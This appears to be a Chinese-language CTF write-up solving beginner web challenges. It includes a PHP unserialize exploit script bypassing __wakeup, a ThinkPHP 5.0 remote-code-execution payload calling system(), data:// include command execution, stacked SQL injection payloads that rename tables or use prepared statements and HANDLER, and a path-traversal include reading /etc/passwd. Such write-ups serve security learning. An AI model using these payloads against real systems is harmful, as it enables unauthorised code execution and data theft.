一、“1”分题
1. baby_web
- 题目内容提示初始页面,一般初始页面都是
index.php index.html 等 - 进入链接后,这里显示的时
1.php - 当直接访问
index.php 的时候会再次跳转到1.php ,存在302跳转 - 使用浏览器的工具直接调试,在
network 那里刷新查看,确实是302跳转,然后在头部信息中看到flag - 补充:
302 跳转的也可以使用命令curl 进行获取,加上-i 参数查看头部信息
2. Training-WWW-Robots
3. PHP2
-
进入链接,这里说的是需要我们登陆,但尝试login.php等都没有相应的文件存在 -
扫一下目录,看到一个index.phps 文件(这里主要看字典是否给力了) -
访问文件内容如下 -
只需要上传一个参数id 且值等于admin即可,但需要进行两次URL编码 -
admin --> %25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
二、“2”分题
1. Web_php_unserialize
-
题目如下 -
代码如下,简单的分析一下代码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
-
题目是一个反序列化问题,主要知识点是需要绕过正则匹配和__wakeup() 方法 -
preg_match('/[oc]:\d+:/i', $var) 正则匹配,在传入的序列化对象中有 O:4 的内容,会被匹配到,可以更改为O:+4 即可绕过 -
__wakeup() (CVE-2016-7124):当 PHP5<5.6.25、PHP7<7.0.1 时,如果成员属性数目大于实际数目时可以绕过此方法 -
构造EXP如下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$demo = new Demo('fl4g.php');
$pay = str_replace('O:', 'O:+', serialize($demo));
$pay = str_replace(':1:', ':2:', $pay);
echo base64_encode($pay);
?>
2. php_rce
- 一进去就看到Think PHP v5.0,这个版本存在一个远程代码执行漏洞,然后题目也是php rce
- 利用payload: 依次执行命令获取flag即可
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
3. Web_php_include
- 查看内容,这里可以利用PHP伪协议,虽然
php:// 会被过滤,但还可以尝试使用file:// data:// 协议等 - 这里利用
data:// 协议,用来执行PHP代码,如下,执行phpinfo() 成功 - 接下来将
phpinfo() 换成system() 函数,用来执行命令 - flag文件在当前目录下,直接
cat 即可,但需要注意的是,flag需要查看源代码才能看到
4. supersqli
4.1 方法一:堆叠注入改表获取
-
先判断一下注入类型,常规就是and 1=1 ,or 1=1 等,然后考虑是单引号还是双引号闭合等 -
观察这里,在后面直接输入单引号时报错,然后使用--+ 进行闭合时能正常搜索,所以可以知道是单引号闭合 -
从图中可以看到返回的内容至少都有两个字段,所以直接order by 3 ,发现超出范围,然后再尝试order by 2 能够显示,所以可以知道字段就是两个
-
然后union 联合注入的时候发现过滤了很多关键字 -
从里面可以看到,比如show 等关键字没被过滤掉,所以可以先尝试堆叠注入,如果行不通再尝试怎么绕过过滤 -
从图中可以看到,可以采用堆叠注入 -
接下来就是获取字段了,可以使用 show columns from table_name 的形式获取,但是表名需要使用反引号 -
这里可以知道flag在表1919810931114514 中,不过select 被过滤了,所以想直接跨表获取内容是不可能的 -
再来看有哪些关键字被过滤了 -
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) -
仔细看alter 关键字没有被过滤,那可以考虑一下,是不是可以通过利用alter 关键字修改表名的方式绕过过滤 -
可以知道当前PHP脚本获取的数据是words 表中的数据,然后查看一下words 表中的字段信息 -
第一个字段是id ,我们获取的内容也是通过这个id 获取到的,然后1919810931114514 表中的第一个字段就是flag -
所以这里有三个步骤
1. 把 words 表的名字改成其他任意名字,注意两个表的名字不能有冲突,否则不会成功
2. 把 1919810931114514 表名字改成 words
3. 将 flag 字段名改成 id
注意:上面三个步骤顺序不能颠倒,而且必须同时修改,也就是一次性修改
如果先执行第二步,因为words表名存在,无法修改成功
如果三个步骤没有一次性修改,则因为words表名已经被修改
导致直接破坏了PHP脚本的完整性,脚本获取不到words表,所以后继的操作也将不能继续
-1';alter table `words` rename `aaa`;alter table `1919810931114514` rename `words`;alter table `words` change flag id varchar(100);
- 执行结束后,直接
1' or '1'='1 即可
4.2 方法二:堆叠+预编译
4.2.1 预编译讲解
正常情况下使用预编译功能,都是从客户端发送一条SQL语句到服务器,然后服务器校验传递过来的SQL语句语法格式是否正确,再将SQL语句编译成可执行的函数,最后开始执行SQL语句
在服务端编译和校验的过程耗费的时间会比较多,如果执行的数据量比较大,会非常的耽搁时间
但是如果每次执行的SQL语句语法都是相同的,只有其中的一些值有所不同,通过采用预编译功能,就可以达到只针对SQL语句进行一次语法校验和编译,然后填入数据就能直接执行,从而很大程度上提高了效率
简单来说,预编译的实现过程就是提前将需要使用的SQL语句编译好,然后直接使用即可,预编译其实是可以在一定程度上防御SQL注入的,但是在堆叠注入中就容易被很好的利用,导致SQL注入
PREPARE stmt_name FROM preparable_stm;
SET @str=data;
EXECUTE stmt_name [USING @var_name [, @var_name]...];
PREPARE func FROM 'select * from test where id=?';
SET @id=1;
EXECUTE func using @id;
SET @sql='select * from test';
PREPARE e FROM @sql;
EXECUTE e;
4.2.2 题目解法
-
OK,上面知道了MySQL的预编译后,下面回到题目 -
这里可以知道了select 关键字是被过滤了的 -
然后可以尝试一下使用预编译的方式,先将select 拆解,然后使用concat 函数连接,在本地测试一下(注意一下,在本地测试的时候直接就是 from 跟上表名,但是在注入中还是需要使用反引号将表名引起来),如图: -
OK,知道了怎么预编译了,接下来就是编译payload了 -
同样的也是通过堆叠获取到flag在1919810931114514 表中,所以:
set @f=concat('sel','ect flag from `1919810931114514`');
prepare g from @f;
execute g;
- 不过在提交payload的时候遇到了问题,这里还是被检查到了,不过好在没有使用正则匹配啊啥的,试一下大小写绕过等常规方法看是否能绕过去
- 好哒,大小写成功绕过
4.3 方法三:handler查询
4.3.1 handler学习
还是一样的,先学习一下MySQL中的handler,弄清楚怎么用才是最重要的,详情可以查看官方文档,下面简要学习一下:
首先需要知道的是,handler是MySQL中专有的,用来提供对表存储引擎接口的直接访问,适用于 innoDB 和 MyISAM 。
简答的理解来说就是:利用handler 也可以直接读取表中的内容,可以起到和select 一样的效果,不过handler 不具备完全的select 的所有功能,所以只是在MySQL中存在,并没有写入到SQL语法中。
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
1. handler tbl_name open
2. handler tbl_name read index_name
3. handler tbl_name close
create table handler_test(
id tinyint auto_increment not null,
username varchar(50) not null,
passwd varchar(100) not null,
primary key(id));
insert into handler_test value(null,"Jack",md5('jack123'));
insert into handler_test value(null,"Tom",md5('tom123'));
insert into handler_test value(null,"Lucy",md5('lucy123'));
insert into handler_test value(null,"James",md5('james123'));
- 接下来使用
HANDLER tbl_name READ { FIRST | NEXT } 的形式查询信息
handler handler_test open;
handler handler_test read first;
handler handler_test close;
handler handler_test open as h;
handler h read first;
handler h close;
-
使用索引的形式查找,也即HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) 的类型 -
注意 :因为在创建表的时候是不存在索引的,所以如果直接使用handler 查询的话会报错,如下:
create index handler_id on handler_test(id);
handler handler_test open as h;
handler h read handler_id=(1);
handler h close;
4.3.2 题目解法
通过上面对handler 的学习,相信题目的解法很容易就知道了
基本思路:也是利用堆叠注入的原理,然后结合handler 的特性,实现跨表查询
handler `1919810931114514` open as f;
handler f read first;
handler f close;
5. ics-06
- 刚进去就是一个工控云管理系统的,然后随便点击它的功能点,不过都没反应
- 当点击到报表中心的时候,发现有页面跳转了,然后URL中还有提交的参数
- 下面还显示了一个送分题,在这种有参数
id ,可以考虑是否存在注入漏洞,代码执行等 - 一番尝试无果,不是注入,也不是代码执行
- 然后使用burp抓包看一下参数信息,能控制的参数只有
id - 尝试对参数
id 进行爆破 - 选择payload类型为数字,然后爆破的范围可以适当大一些
- 当提交的
id=2333 时,在返回的内容中可以看到flag
6. warmup
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
- 在
emmm 类中,有如下判断,需要传入的参数必须在白名单中,也就是写死了,只能包含source.php 或者hint.php - 所以想直接
file=ffffllllaaaagggg 的形式获取flag是不可能的
if (in_array($page, $whitelist)) {
return true;
}
- 接下来思考,在代码中能获取到flag的方法只有通过
include 文件包含获取,但是每次都要经过checkFile() 函数的检查,而且也被白名单写死了 - 既然没有别的利用点,那么可以思考
include 是否会存在某些漏洞或者什么特性能达到包含flag文件的效果 - 直接查看PHP手册关于
include 的描述,内容如下: - 注意里面很关键的一点:
如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 … 开头)——include_path 都会被完全忽略。例如一个文件以 …/ 开头,则解析器会在当前目录的父目录下寻找该文件。
可以简单的这么理解,在include 的时候,如果定义了绝对或者相对路径,那么会直接包含这个路径下的文件,其余的会被忽略掉
- 然后接着看下面这段代码,在第一次没有匹配到白名单的内容,然后会对
? 进行一次切割,mb_substr() 函数可以用来截取获得某一段字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
-
结合前面的内容,如果构造hint.php 后面加上一个? ,那么在第二次切割后就能让checkFile() 函数返回true ,然后在? 后面使用相对路径获取其他文件,那么在include 的的特性,会先包含相对路径,忽略掉其余的内容,从而达到包含我们想要的文件 -
所以,构造file=hint.php?../../../../../etc/passwd ,发现能够正常包含 -
最后将/etc/passwd 改成/ffffllllaaaagggg 即可
【结语】 新人入坑,如果有讲的不对的地方,还请各位师傅指出
|